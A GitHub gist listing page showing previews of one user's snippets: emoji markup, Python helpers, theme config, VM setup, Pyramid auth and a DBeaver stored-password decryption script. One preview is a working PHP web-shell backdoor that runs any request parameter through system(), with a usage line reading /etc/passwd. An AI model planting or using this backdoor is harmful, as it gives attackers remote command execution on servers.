Skip to content

Instantly share code, notes, and snippets.

@iruwl
iruwl / gist:c5340fbaa81b8a8cf5bb42fbc60081de
Created May 25, 2024 19:49 — forked from rxaviers/gist:7360908
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@iruwl
iruwl / lib_event.py
Created May 25, 2024 06:19
python events
events = {}
def register_event(event: str, fn: callable):
if not event in events:
events[event] = []
events[event].append(fn)
def dispatch(event: str, *args, **kwargs):
if not event in events:
@iruwl
iruwl / runcommand.py
Created May 23, 2024 05:21 — forked from jotaelesalinas/runcommand.py
Runs an external command in Python and returns exit code, stdout and stderr contents.
# runcommand.py
# Handy function that executes an external command in the shell
# and returns 3 values: exit code of the command, its standard output
# and its error output.
# If you run the script directly, an example is provided:
# first it will run a successful command and then one with errors
# (you may want to modify them if not running a Unix system).
import subprocess
@iruwl
iruwl / Mint-Yz.json
Last active August 5, 2023 02:34
Nemo folder color switcher for Mint-Yz theme
{
"styles": [
{
"name": "Mint-Yz",
"icon-themes": [
{"name": "Base-Aqua", "color": "#1F9EDE", "theme": "Mint-Yz-Base-Aqua"},
{"name": "Base-BlueBelize", "color": "#277CB7", "theme": "Mint-Yz-Base-BlueBelize"},
{"name": "Base-BlueElectron", "color": "#0C75DE", "theme": "Mint-Yz-Base-BlueElectron"},
{"name": "Base-Grey", "color": "#aaaaaa", "theme": "Mint-Yz-Base-Grey"},
{"name": "Base-MintGum", "color": "#3DB884", "theme": "Mint-Yz-Base-MintGum"},
@iruwl
iruwl / decrypt_dbeaver.py
Last active July 26, 2023 15:53 — forked from felipou/decrypt_dbeaver.py
DBeaver password decryption script - for newer versions of DBeaver
# https://stackoverflow.com/questions/39928401/recover-db-password-stored-in-my-dbeaver-connection
# requires pycryptodome lib (pip install pycryptodome) or
# pip install pycrypto
import sys
import base64
import os
import json
@iruwl
iruwl / linux-command.md
Last active March 23, 2023 16:00
Linux Command Collection #linux #command #console #shell

Linux Command Collection

iruwl @ 20230323

1. find files without extention

find . -type f ! -name "*.*"

@iruwl
iruwl / create-virtualbox-vm-using-ubuntu-cloud-image.sh
Created March 3, 2023 16:47
Create virtualbox vm using ubuntu cloud images
## reff: https://gist.github.com/smoser/6066204
## download ubuntu cloud image
$ wget https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-amd64.img
## install requirement
$ sudo apt-get install virtualbox qemu-utils genisoimage cloud-utils
## convert cloud image to raw
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@iruwl
iruwl / basic_auth_example.py
Created October 28, 2020 18:34 — forked from mmerickel/basic_auth_example.py
Basic Auth in Pyramid with simple ACLs
from pyramid.authentication import BasicAuthAuthenticationPolicy
from pyramid.authorization import ACLAuthorizationPolicy
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPForbidden
from pyramid.httpexceptions import HTTPUnauthorized
from pyramid.security import ALL_PERMISSIONS
from pyramid.security import Allow
from pyramid.security import Authenticated
from pyramid.security import forget
from pyramid.view import forbidden_view_config
@iruwl
iruwl / touchscreen.txt
Created August 13, 2020 11:52
Disable or enable laptop touchscreen #touchscreen #ubuntu #toshiba
λ ~/ xinput --list
⎡ Virtual core pointer id=2 [master pointer (3)]
⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]
⎜ ↳ ELAN Touchscreen id=9 [slave pointer (2)]
⎜ ↳ AlpsPS/2 ALPS DualPoint Stick id=12 [slave pointer (2)]
⎜ ↳ AlpsPS/2 ALPS DualPoint TouchPad id=13 [slave pointer (2)]
⎣ Virtual core keyboard id=3 [master keyboard (2)]
↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]
↳ Power Button id=6 [slave keyboard (3)]
↳ Video Bus id=7 [slave keyboard (3)]